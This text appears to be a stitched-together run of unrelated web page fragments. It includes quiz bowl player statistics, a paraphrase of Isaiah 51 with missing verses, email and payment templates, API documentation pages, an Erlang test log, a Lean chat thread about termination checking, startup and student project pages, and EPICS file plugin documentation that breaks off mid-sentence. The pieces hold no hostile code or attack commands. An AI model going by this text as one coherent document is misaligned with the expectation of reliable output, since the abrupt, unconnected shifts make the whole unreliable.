--- layout: stats title: Sam Spaulding Statistics permalink: "/stats/players/sam-spaulding.html" ---
| Year | Team | Finish | G | 10 | -5 | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2011 | Yale A | 1 | 11 | 9 | 3 | 75 | 6.82 |
| 2012 | Yale B | 18 | 14 | 45 | 10 | 400 | 28.57 |
| Year | Round | Player | Team | Opponent | Result | 10 | -5 | Pts | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2011 | 1 (Prelims) | Sam Spaulding | Yale A | State College A | Win | 2 | 0 | 20 | No Packet Recorded |
| 2011 | 2 (Prelims) | Sam Spaulding | Yale A | Columbia A | Win | 1 | 1 | 5 | No Packet Recorded |
| 2011 | 3 (Prelims) | Sam Spaulding | Yale A | Minnesota A | Win | 0 | 0 | 0 | No Packet Recorded |
| 2011 | 5 (Prelims) | Sam Spaulding | Yale A | Michigan B | Win | 0 | 0 | 0 | No Packet Recorded |
| 2011 | 6 (Prelims) | Sam Spaulding | Yale A | Maryland A | Win | 2 | 0 | 20 | No Packet Recorded |
| 2011 | 7 (Prelims) | Sam Spaulding | Yale A | Illinois B | Win | 1 | 1 | 5 | No Packet Recorded |
| 2011 | 9 (Playoffs) | Sam Spaulding | Yale A | Rice | Win | 0 | 0 | 0 | No Packet Recorded |
| 2011 | 10 (Playoffs) | Sam Spaulding | Yale A | Ohio State | Win | 1 | 0 | 10 | No Packet Recorded |
| 2011 | 11 (Playoffs) | Sam Spaulding | Yale A | UCSD A | Win | 0 | 1 | -5 | No Packet Recorded |
| 2011 | 12 (Playoffs) | Sam Spaulding | Yale A | Illinois A | Loss | 1 | 0 | 10 | No Packet Recorded |
| 2011 | 13 (Playoffs) | Sam Spaulding | Yale A | Michigan A | Win | 1 | 0 | 10 | No Packet Recorded |
| Year | Round | Player | Team | Opponent | Result | 10 | -5 | Pts | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2012 | 1 (Prelims) | Sam Spaulding | Yale B | Illinois A | Loss | 2 | 0 | 20 | No Packet Recorded |
| 2012 | 3 (Prelims) | Sam Spaulding | Yale B | Minnesota A | Loss | 1 | 1 | 5 | No Packet Recorded |
| 2012 | 4 (Prelims) | Sam Spaulding | Yale B | Alabama | Win | 8 | 0 | 80 | No Packet Recorded |
| 2012 | 5 (Prelims) | Sam Spaulding | Yale B | Chicago C | Win | 4 | 2 | 30 | No Packet Recorded |
| 2012 | 6 (Prelims) | Sam Spaulding | Yale B | Virginia A | Win | 3 | 1 | 25 | No Packet Recorded |
| 2012 | 7 (Prelims) | Sam Spaulding | Yale B | South Carolina | Win | 4 | 1 | 35 | No Packet Recorded |
| 2012 | 8 (Tiebreaker) | Sam Spaulding | Yale B | Minnesota A | Loss | 5 | 1 | 45 | No Packet Recorded |
| 2012 | 9 (Playoffs) | Sam Spaulding | Yale B | Carleton | Loss | 2 | 2 | 10 | No Packet Recorded |
| 2012 | 10 (Playoffs) | Sam Spaulding | Yale B | VCU A | Loss | 1 | 0 | 10 | No Packet Recorded |
| 2012 | 11 (Playoffs) | Sam Spaulding | Yale B | George Mason | Win | 3 | 0 | 30 | No Packet Recorded |
| 2012 | 12 (Playoffs) | Sam Spaulding | Yale B | South Carolina | Loss | 3 | 1 | 25 | No Packet Recorded |
| 2012 | 13 (Playoffs) | Sam Spaulding | Yale B | Northwestern | Loss | 4 | 0 | 40 | No Packet Recorded |
| 2012 | 14 (Playoffs) | Sam Spaulding | Yale B | Virginia B | Win | 5 | 1 | 45 | No Packet Recorded |
| 2012 | 15 (Playoffs) | Sam Spaulding | Yale B | Rice | Loss | 0 | 0 | 0 | No Packet Recorded |


Think about Abraham!
It is as though he were a huge rock cliff;
and when you people of Israel became a nation,
it was as though I had cut you like stones from that rocky cliff.
2 Think about your ancestor Abraham and his wife Sarah, of whom all of you are descendants.
When I first spoke to Abraham,
he had no children.
But after I blessed him, he had a huge number of descendants.
3 Some day I, Yahweh, will encourage Abraham's descendants again,
and I will comfort all the people who live in the ruins of Jerusalem.
The deserts in that area will become like Eden;
it will be like the garden of Yahweh.
All the people there will be joyful and happy;
they will thank me and sing.
4 My people of Judah, listen carefully to me,
because I command you to proclaim my laws;
the right things that I will do will be like a light for the people of all the nations.
5 I will soon rescue you and them;
by my power I will rule over the people of the earth and bless them.
The people who live in the most distant lands on earth will wait for me to help them.
6 Look up at the sky,
and look at the earth;
see what they are like now,
because some day the sky will disappear like smoke,
and the earth will wear out like old clothes wear out,
and people on the earth will die like flies.
But I will rescue you, and you will remain free forever,
and I will rule you righteously forever.
7 You people who know what things are right to do,
and who know in your inner beings what is written in my laws,
listen to me!
Do not be afraid of people who taunt you;
do not be disturbed when people revile you,
8 because some day they will be destroyed
like clothing that moths have eaten,
like wool garments that have been eaten by worms.
I will save them, and they will be saved forever."
9 Yahweh, wake up and do something for us!
Show us how strong you are!
Do mighty things
like you did long ago,
when you stabbed Rahab, the sea monster, and cut it into pieces.
10 Surely you are the one who dried up the sea,
and made a path through that deep water
in order that your people could cross it!
11 And those whom Yahweh will rescue from being exiled in Babylonia
will similarly return to Jerusalem singing.
Their being joyful forever will be like a crown on their heads.
They will not be sad or mourn anymore;
they will be completely joyful and happy.
12 Yahweh says,
"I am the one who encourages you.
So why are you afraid of humans
who will wither and disappear like grass?
13 You should not have forgotten me, Yahweh, the one who created your nation,
the one who stretched out the sky
and laid the foundations of the earth.

You should not be afraid of them now,
because those angry people have now disappeared!
14 Soon you people who have been caused to be slaves in Babylonia will be freed!
You will not remain in prison, and you will not die of hunger,
15 because I am Yahweh, your God,
the one who stirs up the sea and causes the waves to roar;
I am Yahweh, Commander of the angel armies!
16 I have given you my message to proclaim,
and I have protected you by my hand.
I have done this in order to stretch out the sky
and lay the foundation of the earth.

You have experienced Yahweh severely punishing you.
Yahweh has caused you to suffer much
and to experience disaster,
like someone who causes another person to fall down
by forcing him to drink every drop of a large bowl of wine.
18 Now you do not have any children who are alive
and who are able to take your hand and guide you.
Now there is no one to weep with you and sympathize with you.
20 Your children have fainted and lie in the streets;
they are as helpless as an antelope that has been caught in a net.
What has happened to them is because Yahweh has been very angry with them;
he has rebuked them severely.
21 So now, you people who have suffered much,
you act as though you were drunk,
but it is not because you have drunk a lot of wine.
22 Yahweh, your Lord and your God,
the one who argues your case to defend you, says this:
"It is as though I had taken that cup of bitter liquid from your hands;
I will not be angry with you and cause you to drink it any longer, to suffer anymore.
23 Instead, I will cause those who have tormented you to suffer;
I will severely punish those who said to you,
'Lie down in order that we may walk on you;
lie down on your stomachs
in order that your backs will be like streets that we can walk on.'"


Hey {{user_name}},
Thanks for signing up for an account on Authors Heaven. Please click the link below to confirm your email address.
To verify your email address: Click Here
Thanks
COD


Imagine you are resting in your favorite couch while everyone running on a tredmill to burn extra fat. Skip the fat eat healthy foods with a new recipe every week. Try Always Fresh.
We are Bangladesh based organizaton. We serve people healthy and contamination free food that anyone can prepare within 20 minutes. Our ready made food recipies are supper easy to cook. You only need 20 minutes to prepare a meal. We provide all kinds of food no matter how you like it or what you like.
 Don't forget 'Healthy body is the key to sound mind'
Healthy and super energytic salad for boosting you with vast quantities of vitamins and many more food properties that is must for a healthy human body.
Healthy and super energytic brackfasts for boosting you with vast quantities of vitamins and many more food properties.
Healthy and super energytic lunch with lost of greens for boosting you with vast quantities of vitamins and many more food properties that is must for a healthy human body.


=== Test case: lasp_client_server_game_tournament_SUITE:client_server_delta_based_test/1 (click for source code)
=== Config value:
[{watchdog,<0.449.0>},
<EMAIL_ADDRESS>{tc_group_properties,[]},
{tc_group_path,[]},
{data_dir,"/Users/anne-francevanswieten/lasp/_build/test/lib/lasp/test/lasp_client_server_game_tournament_SUITE_data/"},
<EMAIL_ADDRESS>=== Current directory is<EMAIL_ADDRESS>=== Started at 2017-04-18 17:15:20
*** User 2017-04-18 17:15:20.539 ***
Beginning test case client_server_delta_based_test
*** User 2017-04-18 17:15:20.549 ***
Running client_server_game_tournament_delta_based_test with nodes [server,
client_1,
client_2,
client_3]
*** User 2017-04-18 17:15:20.549 ***
Launching Erlang distribution...

*** User 2017-04-18 17:15:26.661 ***
Custering nodes...
*** User 2017-04-18 17:15:26.661 ***
Joining node: server@MBPdeAnneFrance to client_1@MBPdeAnneFrance at port 58831
*** User 2017-04-18 17:15:26.663 ***
Joining node: server@MBPdeAnneFrance to client_2@MBPdeAnneFrance at port 58833
*** User 2017-04-18 17:15:26.664 ***
Joining node: server@MBPdeAnneFrance to client_3@MBPdeAnneFrance at port 58835
*** User 2017-04-18 17:15:26.665 ***
Joining node: client_1@MBPdeAnneFrance to server@MBPdeAnneFrance at port 58829
*** User 2017-04-18 17:15:26.668 ***
Joining node: client_1@MBPdeAnneFrance to client_2@MBPdeAnneFrance at port 58833
*** User 2017-04-18 17:15:26.669 ***
Joining node: client_1@MBPdeAnneFrance to client_3@MBPdeAnneFrance at port 58835
*** User 2017-04-18 17:15:26.670 ***
Joining node: client_2@MBPdeAnneFrance to server@MBPdeAnneFrance at port 58829
*** User 2017-04-18 17:15:26.673 ***
Joining node: client_2@MBPdeAnneFrance to client_1@MBPdeAnneFrance at port 58831
*** User 2017-04-18 17:15:26.674 ***
Joining node: client_2@MBPdeAnneFrance to client_3@MBPdeAnneFrance at port 58835
*** User 2017-04-18 17:15:26.675 ***
Joining node: client_3@MBPdeAnneFrance to server@MBPdeAnneFrance at port 58829
*** User 2017-04-18 17:15:26.678 ***
Joining node: client_3@MBPdeAnneFrance to client_1@MBPdeAnneFrance at port 58831
*** User 2017-04-18 17:15:26.679 ***
Joining node: client_3@MBPdeAnneFrance to client_2@MBPdeAnneFrance at port 58833
*** User 2017-04-18 17:15:26.680 ***
Lasp fully initialized.
*** User 2017-04-18 17:15:26.680 ***
Waiting for simulation to end
*** User 2017-04-18 17:16:06.684 ***
Simulation ended with success
*** User 2017-04-18 17:16:14.758 ***
Ending test case client_server_delta_based_test
=== Ended at 2017-04-18 17:16:14
=== successfully completed test case
=== Returned value: ok
Test run history
| Top level test index


|
Bow and Arrow
|
Go to the source code of this file.
Data Structures | |
| struct | Balloon |
Functions | |
| balloon_t * | createBalloon (int xIN, int yIN) |
| Creates a new instance of baloon. More... | |
| int | isBalloonActive (balloon_t *b) |
| Checks if a balloon is active or not. More... | |
| int | isBalloonDestroyed (balloon_t *b) |
| Checks if a balloon is destroyed or not. More... | |
| int | isBalloonBlown (balloon_t *b) |
| Checks if a balloon is blown or not. More... | |
| int | isBalloonIntact (balloon_t *b) |
| Checks if a balloon is intact or not. More... | |
| int | getBalloonPos_X (balloon_t *b) |
| This function returns the 'x' pos of a balloon. More... | |
| int | getBalloonPos_Y (balloon_t *b) |
| This function returns the 'y' pos of a balloon. More... | |
| void | setBalloonActive (balloon_t *b) |
| Toggles the variable active to 1 (true) More... | |
| void | setBalloonHit (balloon_t *b) |
| Changes the state of the balloon to 'blown'. More... | |
| void | resetBalloonPosition (balloon_t *b) |
| This function handles the right print on screen of the balloon. More... | |
| void | updateBalloonPosition (balloon_t *b) |
| Changes the current position of the balloon. More... | |
| void | drawBalloon (balloon_t *b) |
| This function displays the bitmap image associated with te balloon. More... | |
| void | destroyBalloon (balloon_t *b) |
| Frees the memory addressed to a balloon. More... | |


class MiddleEarth
More...
#include <middleearth.h>
class MiddleEarth
member functions are public
variables, vector, and map are private
| MiddleEarth::MiddleEarth |
( |
int |
xsize, |
|
|
int |
ysize, |
|
|
int |
num_cities, |
|
|
int |
seed |
|
) |
| |
Creates 2D map with randomly generated cities.
If user defined number of cities, num_cities is less than randomly generated num_city_names, program exits
If num_cities is less than 5, the num_cities is 5
Randomly generate city names from all_city_names array
Randomly generate the locate of all of the cities generated
Calculates the distance between cities
- Parameters
-
| xsize | x coordinate of 2D map |
| ysize | y coordinate of 2D map |
| num_cities | user defined number of cities in the middle earth |
| seed | different seed value will enable to generate real random numbers |
Destructor.
remove the connections between the cities, hence detroys the middle earth map
No parameter needed
| float getDistance |
( |
string |
city1, |
|
|
string |
city2 |
|
) |
| |
get distance of two cities
- Returns
- Returns distance between two cities in float type
- Parameters
-
| city1 | First city to get distance between two cities |
| city2 | Second city to get distance between two cities |
| vector< string > getItinerary |
( |
unsigned int |
length | ) |
|
Returns the list of cities to travel.
The route to travel the list of cities are generated randomly
- Returns
- vector<string> itinerary
- Parameters
-
| length | To account for the start point |
| void MiddleEarth::print |
( |
| ) |
|
prints out all of the cities on the map with it's position
No parameter needed
prints all cities and it's location in table
No parameter needed
| vector<string> MiddleEarth::cities |
|
private |
| float* MiddleEarth::distances |
|
private |
| map<string, int> MiddleEarth::indices |
|
private |
| int MiddleEarth::num_city_names |
|
private |
| vector<float> MiddleEarth::xpos |
|
private |
| vector<float> MiddleEarth::ypos |
|
private |
The documentation for this class was generated from the following files:


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/pointing.20the.20equation.20compiler.20right.html ---
Hi, I'm new to Lean. I'm trying to write the following, but termination checking fails for weaken_term
in the second recursive call for app
and the recursive call for lam
. Each time, the reported problem is that m
does not decrease, but that should be irrelevant because the induction is on the term. How can I give Lean this hint? Or is the Lean termination checker not sufficiently Foetus-like, so I have to do something else?
open nat inductive fin' : nat → Type | zero {n} : fin' (succ n) | succ {n} : fin' n → fin' (succ n) open fin' inductive dir : Type | syn : dir | chk : dir open dir inductive term : nat → dir → Type | var {n} (i : fin' n) : term n syn | app {n} (e : term n syn) (s : term n chk) : term n syn | lam {n} (s : term (succ n) chk) : term n chk open term def plus : nat → nat → nat | zero n := n | (succ m) n := succ (plus m n) def weaken_fin' {n} : ∀ m, fin' (plus m n) → fin' (plus m (succ n)) | zero i := succ i | (succ m) zero := zero | (succ m) (succ i) := succ (weaken_fin' m i) def weaken_term {n} : ∀ m {d}, term (plus m n) d → term (plus m (succ n)) d | m syn (var i) := var (weaken_fin' m i) | m syn (app e s) := app (weaken_term m e) (weaken_term m s) | m chk (lam s) := lam (weaken_term (succ m) s)
It can't be done directly by induction on term
, since you would forget the relation to m and n
Here's a way to write that you want to do induction explicitly with the equation compiler:
def weaken_term' {n} : ∀ {k d}, term k d → ∀ m, plus m n = k → term (plus m (succ n)) d | _ syn (var i) m rfl := var (weaken_fin' m i) | _ syn (app e s) m rfl := app (weaken_term' e m rfl) (weaken_term' s m rfl) | _ chk (lam s) m rfl := lam (weaken_term' s (succ m) rfl) def weaken_term {n} (m) {d} (s : term (plus m n) d) : term (plus m (succ n)) d := weaken_term' s m rfl
Thanks! Where exactly is the relation to m
and n
being lost? I can't quite pick out why the term is allowed to depend on the index d
like it does.
It might help to try using the induction
tactic to get a sense of what lean is doing under the hood
def weaken_term {n} : ∀ m {d}, term (plus m n) d → term (plus m (succ n)) d := begin intros m d s, induction s with n' i n' e s IH1 IH2 n' s IH, exact var (weaken_fin' m i), --fail end.
Notice that you won't be able to prove the first goal because the type is fin' n'
instead of fin' (plus m n)
. This is where the equality assumption comes in
You can actually prove this directly in tactic mode by starting with
intros m d s, generalize h : plus m n = k, induction s with n' i n' e s IH1 IH2 n' s IH generalizing k; subst k,
which has the effect of introducing the equality before doing the induction
Can the problem be restated in terms of induction principles, rather than tactics? If so, I think I can work that out.

You can actually prove this directly in tactic mode by starting with
...
which has the effect of introducing the equality before doing the induction
I tried doing this, but I get a lot of weird-looking errors, like “vm check failed”, “invalid 'begin-end' expression, ',' expected”, and “sync”.
 Lean doesn't like being asked to run tactics that are not yet determined
instead you can just write { }
meaning "run no tactic", and then it will fail at the right bracket because you aren't done yet
Aah, thanks.
The problem seemed to be a missing comma, so that's sorted.
Is _
the best way to leave a hole in a pattern-matching definition?
Or is there some way to introduce an interactive hole?
I don't quite understand what you mean
I can't think of what an interactive hole is, but _
is useful as a wildcard in patterns
Hole à la Agda (or Idris, to some extent).
Maybe it's not necessary with the way lean-mode works, though I still feels like a hack to use the “this should be inferrable by unification” thing to mean “I'm going to write something here”.
Lean actually has holes in term mode, {! !}
, but they are not well developed at all and never made it past alpha
for the most part you can use begin end
or _
where stuff is expected
Last updated: Apr 24 2020 at 19:02 UTC


|
'Till
I Collapse
(Eminem) |
|
Intro
Sometimes you feel tired, feel weak, When you feel weak, you feel like you wanna just give up.  Is it a miracle or am I just product of pop fizzin' up?    The press's wet dream like Bobby an Whitney Nate hit me... |


| Package | Description |
|---|---|
| org.apache.olingo.commons.api |
Contains all OData commons classes which are not more specific
(e.g.
|
| org.apache.olingo.commons.api.constants | |
| org.apache.olingo.commons.api.data |
Contains all the data objects of OData responses and OData requests
|
| org.apache.olingo.commons.api.edm |
Contains representations for EDM objects created during the URI parsing
|
| org.apache.olingo.commons.api.edm.annotation |
Contains representations for all annotation related
EDM objects created during the URI parsing
|
| org.apache.olingo.commons.api.edm.constants |
Contains representations for constants related to EDM objects.
|
| org.apache.olingo.commons.api.edm.geo |
Contains representations for all geographical related
EDM objects created during the URI parsing
|
| org.apache.olingo.commons.api.edm.provider |
Contains representations for objects created during CSDL document parsing
|
| org.apache.olingo.commons.api.edm.provider.annotation |
Contains representations for objects created during
CSDL document parsing related to the CSDL annotations.
|
| org.apache.olingo.commons.api.edmx |
Olingo Server API - Edmx
|
| org.apache.olingo.commons.api.ex |
Contains all OData errors and exception-related classes.
|
| org.apache.olingo.commons.api.format |
Contains all the format-related objects used for the handling of
OData responses and OData requests.
|
| org.apache.olingo.commons.api.http |
Contains all the HTTP related objects which are used for handling of OData responses and OData requests.
|
| Package | Description |
|---|---|
| org.apache.olingo.ext.pojogen | |
| org.apache.olingo.netty.server.api | |
| org.apache.olingo.netty.server.core |
Copyright © 2013–2018 The Apache Software Foundation. All rights reserved.


Email is required!
Please provide a valid email!
Password is required!
Password must be minimum 5 characters!


We are looking for collaboration with a business cofounder, JS developers and investors!
Try our online demo here or Download app for Windows.
The diagnosis software consists of biosignal processing algorithms and HTML UI to bring both joys and productivity to our user.
Features & Specifications
Every year there are 750,000 more people suffer from cardiac problems. The majority of which develop for the first time.
The Problem
For many decades, Cardiovascular Disease (CAD) is the leading cause of death during patients’ hospitalization across the globe. As reported by the World Health Organization (WHO), there was about 17.3 million people around the world died from CAD in 2008, representing 30% of all total cases of death globally. Vietnam is also one the most susceptible countries to CAD. The World Heart Federation (WHF) estimates that the incidence of CAD in Vietnam in 2017 may reach 20%, ranking 4th in the world.
The Solution
ECG has long been considered as a gold standard for diagnosis of CAD because it is fast, cheap and reliable. Moreover, ECG device can technically be built into very small, compact wearable that is suitable for remote healthcare. In other to further improve its effectiveness, the device must have the ability to connect directly with the hospitals and integrated with a compatible software that helps doctors make faster and better diagnosis.
About Cassandra
Cassandra is an Internet of Things system dedicated to provide cardiac surveillance for remote healthcare, sport and clinic. The system consists of a chest - worn device that measures ECG signal, an intermediate device to stream data, an algorithm to detect heart problems and a management software. The team hopes to bring forward the era of homecare where patients at risk of CAD can have access to cardiac healthcare while staying at home.
We are all passionate-driven biomedical undergraduates at International University, Vietnam National University. We hope that some day our effort will eventually bring benefit to people around the world who are currently at high risk of developing heart problems.
Founder, Software Lead
Hardware Engineer
Project Manager
Hardware Creator
Room A1.513 Clinical Laboratory
International University - VNU
Local 6, Linh Trung Ward, Thủ Đức District,
Ho Chi Minh City, Vietnam
Mr. Nicheal Pham
Founder, Developer and External Relation
+(84)-914-118-896
Mon-Fri, 8.am - 4.pm
Please feel free to write us an email. We will get back to you within 3 days of office hours.


{% extends "base.html" %} {% block content %}
Please make your payment of {{ payment_btc }} BTC ({{ payment_mbtc }} mBTC) to this address:
{{ registration.btc_address }}
| Name | {{ registration.full_name }} |
| Email address | {{ registration.email_address }} |
| Payment (USD) | {{ registration.payment_usd|floatformat:2 }} |
| Payment (mBTC) | {{ payment_mbtc }} |
| BTC price at time of registration | 1 BTC = {{ registration.btc_price }} USD |
| Registration date | {{ registration.date_added|date:"m/d/Y H:i" }} |
You can bookmark this page for future reference.
{% include "contact.html" %}


Testing
Column labels (separate with commas):
Row labels (separate with commas):
Verbose labeling:
Generate


This library contains packages for digital electrical components. Both, type system and models are based on the VHDL standard (IEEE Std 1076-1987 VHDL, IEEE Std 1076-1993 VHDL, IEEE Std 1164 Multivalue Logic System):
The logic values are coded by integer values. The following code table is necessary for both setting of input and interpreting the output values.
Code Table:
| Logic value | Integer code | Meaning |
| 'U' | 1 | Uninitialized |
| 'X' | 2 | Forcing Unknown |
| '0' | 3 | Forcing 0 |
| '1' | 4 | Forcing 1 |
| 'Z' | 5 | High Impedance |
| 'W' | 6 | Weak Unknown |
| 'L' | 7 | Weak 0 |
| 'H' | 8 | Weak 1 |
| '-' | 9 | Do not care |
The library will be developed in two main steps. The first step contains the basic components and the gates. In the next step the more complicated devices will be added. Currently the first step of the library is implemented and released for public use.
Copyright © 1998-2019, Modelica Association and contributors
| Name | Description |
|---|---|
| UsersGuide | User's Guide |
| Examples | Examples that demonstrate the usage of the Digital electrical components |
| Interfaces | Basic definitions |
| Tables | Truth tables for all components of package Digital |
| Delay | Delay blocks |
| Basic | Basic logic blocks without delays |
| Gates | Logic gates including delays |
| Sources | Time-dependent digital signal sources |
| Converters | Converters between 2-,3-,4- and 9-valued logic |
| Registers | Registers with N-bit input data and output data |
| Tristates | Transfergates, Buffers, Inverters, and WiredX |
| Memories | |
| Multiplexers |


The user authorizes the application after being redirected to the Blackbaud Authorization website.
The user authorizes the application using a browser popup window.
See Constituent within the Blackbaud SKY API contact reference for a full listing of properties.
| Key | Value |
|---|---|
| id | {{ constituent.id }} |
| type | {{ constituent.type }} |
| lookup_id | {{ constituent.lookup_id }} |
| first | {{ constituent.first }} |
| last | {{ constituent.last }} |


SharpBlade
Welcome
SharpBlade is an open source framework written in C# for Razer's SwitchBlade User Interface.
SharpBlade allows you to design WPF applications in C# and display them on the SBUI touch screen using built in graphic rendering and polling. It also has various methods and events for hooking information from the touchpad and the ten tactile keys.
The SharpBlade binary is dependent on the SwitchBlade UI SDK (RzSwitchbladeSDK2.dll) which is provided by Razer and can be obtained from their website. SharpBlade also depends on log4net which is included in the binary builds from our CI server.
How to use
Documentation
If you prefer reading the documentation itself, it is viewable on this site.
Example Project - Hello World
A small app showing basic usage of SharpBlade
Example Code Snippet - Setting up polling
This is used to render the WPF window to the interface which updates every 42ms (about 24FPS).
var manager = RazerManager.Instance; //'this' refers to the current WPF window manager.Touchpad.SetWindow(this, Touchpad.RenderMethod.Polling);
Example Code Snippet - Setting Dynamic Key Event
We can setup an event handler to fire when a Dynamic Key is pushed
var manager = RazerManager.Instance; manager.EnableDynamicKey(RazerAPI.DynamicKeyType.DK1, OnPlusPress, @"Default\Images\PlusDK.png"); private void OnPlusPress(object sender, System.EventArgs e) { SharpBladeTextBlock.Text = "Plus Pressed"; }
Projects using SharpBlade
Spotify
A small utility app to see what track is playing on your Windows Spotify client and to play/pause.
Steam Chat
Steam chat interacts with your Windows Steam client so you can send and receive messages. It even has built in notifications!
LoL Scouter
LoL Scouter for SBUI is a scaled down version of Razer Comms Scouter for League of Legends. Check out runes, masteries and KDA.
Builds
GitHub
You can access the source code for GitHub at: www.github.com/sharpblade/sharpblade
Nuget
PM> Install-Package SharpBlade
Or find our Nuget package page here
Static Build
If you are unfamiliar with GitHub and just want to start using SharpBlade, you can access it on our build server.
Authors
Adam Hellberg - @Sharparam
Brandon Scott - @brandonjcscott
Graphic Assets by Graham Hough
Contact
If you ever need help with any SharpBlade based project, or working with Razer's SwitchBlade User Interface you can contact Brandon, via Skype (brandonjcscott) or Twitter (@brandonjcscott)
Video Tutorials
Coming soon
Razer is a trademark and/or a registered trademark of Razer USA Ltd. All other trademarks are property of their respective owners. This project is in no way endorsed, sponsored or approved by Razer.


Hello!
We are a group of four students at the University of Washington. In Winter 2019, we took a user-centered design course (HCDE 318) with our instructors, Leah Findlater and Bella Chiu.
Alli and Vishaka come from the
Human Centered Design & Engineering department
while Annie and Alex are a part of the
Computer Science department.
Combining our skills and experiences, we created the Experience Museum Project.
Throughout the project timeline, we had the opportunity to explore the user-centered design process. For our group, we found that this process allowed us to understand our users, create designs, and evaluate our ideas.
Although this was a project delineated by assignment deadlines for the most part, we spent a while on our user research and synthesizing the information we gained. From our interviews to our competitive analysis, we thought a lot about what type of product to implement in our problem area.
With museums, we all agreed that based on our user research and our design requirements we needed to create a museum experience that was immersive. After many deliberation sessions and pros/cons lists, this led to our idea of the tablet and pen.
As the projects went on, we really became friends through our project.  As a team, we discovered a lot of shared values in our work ethic and expectations from this class. We would meet up anywhere from two to twenty hours a week working on our project until our deliverables met our expectations and we never settled for anything other than our goals. We were clear in communicating schedules and meetings. Our meetings were productive yet lots of fun and we had the utmost trust in one another to complete tasks on time and with quality.
While making our presentation, pasta, high fidelity screens, and pizza, we had a lot of fun and we are really proud of the outcome. We created a museum experience that we believe enhances the user’s knowledge and connection with art.
If we had the chance to do this project over again, we would have liked to explore form factors that did not use screen based interactions. Unfortunately based on the deliverables and the way the class was structured, it did not make sense to develop a non-screen product. Overall, we were happy with our deliverables and would not change how we went about this project.
In terms of our timing, we would have liked to do more usability testing with our wireframes. In the future, we would like to design and iterate on the physical form of the tablet and pen.
We hope you enjoyed learning about art from our designs and our process! (Or have gotten to think about how you can better interact with art!)
Sincerely,
Team EMP


NDPluginFile¶
| author: | Mark Rivers, University of Chicago |
|---|
Contents
Overview¶
NDPluginFile is a base class from which actual file plugins are derived. There are currently file plugins for JPEG, TIFF, netCDF, Nexus, HDF5, and GraphicsMagick. The GraphicsMagick plugin can write a large number of formats, including JPEG, TIFF, PNG, PDF and many others.
NDPluginFile inherits from NDPluginDriver. The NDPluginFile class
documentation
describes this class in detail. This class is designed to simplify the
task of supporting a new file format. A derived class to support a new
file format will typically need to implement only the pure virtual
functions openFile()
, readFile()
, writeFile()
, and
closeFile()
. Note that none of the current file plugins actually
support the readFile()
function yet, but this is planned for future
releases.
The NDArray callback data can be written to disk in 1 of 3 modes:
- Single mode. In this mode each NDArray callback results in a separate disk file.
- Capture mode. In this mode a memory buffer is allocated before saving begins. Callback arrays are placed into this buffer, and when capture stops the file is written to disk. This mode limits the number of frames that can be saved, because they all must fit in a memory buffer. It is the fastest mode, with the least probability of dropping arrays, because no disk I/O is required while capture is in progress.
- Stream mode. In this mode the data are written to a single disk file for those file formats that support multiple arrays per file (netCDF, NeXus and HDF5). Each frame is appended to the file without closing it. It is intermediate in speed between single mode and capture mode, but unlike capture mode it is not limited by available memory in the number of arrays that can be saved. For file formats that do not support multiple arrays per file (e.g. JPEG, TIFF) this mode is really the same as Single mode, except that one can specify a total number of files to save before stopping.
The CreateDirectory record controls whether directories are created if they don’t exist. If it is zero (default), no directories are created. If it is negative, then the absolute value is the maximum of directories that will be created (i.e. -1 will create a maximum of one directory to complete the path, -2 will create a maximum of 2 directories). If it is positive, then at least that many directories in the path must exist (i.e. a value of 1 will create all directories below the root directory and 2 will not create a directory in the root directory).
If value of the LazyOpen record is “No” (0) then at least one array with the same datatype, array size, and attributes must have been collected by the driver (and/or plugins) from which the file saving plugin is getting its data before capture or stream mode file saving is started. This is required so that the openFile() function can know the dimensions and datatype of the arrays. If LazyOpen is “Yes” and the mode is Stream then the file open if deferred until the first array callback after streaming is started. This will slow down the saving of the first file.
NDPluginFile supports all of the file saving parameters defined in asynNDArrayDriver, e.g. NDFilePath, NDFileName, etc. Thus, the same interface that is used for saving files directly in a driver is used for this plugin.
The base class will delete the “original” file that the driver created for that array if the following are all true:
The DeleteDriverFile record is “Yes”.
The file plugin has successfully written a new file.
The array contains an attribute called “DriverFileName” that contains the full file name of the original file. The driver attributes XML file should contain a line like the following:
<Attribute name="DriverFileName" type="PARAM" source="FULL_FILE_NAME" datatype="STRING" description="Driver file name"/>
The file saving plugins normally determine the name of the file from the FileName and FileNumber records. However, it is possible to have these values come instead from attributes in the array passed to the callback. The following 3 special attributes are used:
- FilePluginFileName: This attribute contains the file name.
- FilePluginFileNumber - This attribute contains the file number.
- FilePluginDestination - If this attribute contains the string “all” or the name of the asyn port for this plugin (e.g. FileTIFF1) then the plugin will write the array to a file. If this attribute has any other value then the plugin will ignore this array, and not write a file.
Having the file information come from the array allows the driver to control which plugin saves a particular array. For example, there may be two file writing plugins active; the first saves the flat field files for a tomography experiment, and the second saves the normal projections. These plugins each stream data to a separate file. The driver knows which files are flat fields and which are normal projections, and adds the appropriate attributes to control which plugin saves each array. This would not be possible using a single plugin and EPICS PVs to switch the file, because of the problem of frames being buffered in the plugin queue.
Normally files in Stream and Capture mode are automatically closed when the requested number of frames have been collected, or when the Capture record is set back to 0. It is also possible to use an NDArray attribute to close the file. If the NDArray contains an attribute named FilePluginClose and the attribute value is non-zero then the current file will be closed.
Null file plugin¶
NDFileNull inherits from NDPluginFile. This is a dummy file writer, which does not actually write anything. Its main purpose is to delete original driver files (DeleteDriverFile record) without writing the data to disk. For example, if the Pilatus is being used simply for alignment or testing one might want to display the images but then immediately delete the files that the Pilatus had created. This plugin allows one to do this, since it always reports success in “writing” the file, so the NDPluginFile base class will deleted the driver file if all the conditions outlined above are met.
The NDFileNull class documentationdescribes this class in detail.
The NDFileNull plugin is created with the NDFileNullConfigure command, either from C/C++ or from the EPICS IOC shell.
NDFileNullConfigure (const char *portName, int queueSize, int blockingCallbacks,
const char *NDArrayPort, int NDArrayAddr, size_t maxMemory,
int priority, int stackSize)
Performance¶
Performance measurements were made on the Linux and Windows systems shown in the following table.
| Model | Operating system | CPU | RAM | Disk |
|---|---|---|---|---|
| Dell Precision T7500 | Windows 7 64-bit | Two quad-core Xeon X5647, 2.93 GHz (8 cores total) | 96 GB | Two 500 GB 15K RPM SAS disks RAID 0 |
| Penguin Relion 1751 Server | Linux, Fedora Core 14 64-bit | Two quad-core Xeon E5630, 2.53 GHz (8 cores total) | 12 GB | Three 300 GB 15K RPM SAS disks No RAID |
The tests were performed under the following conditions:
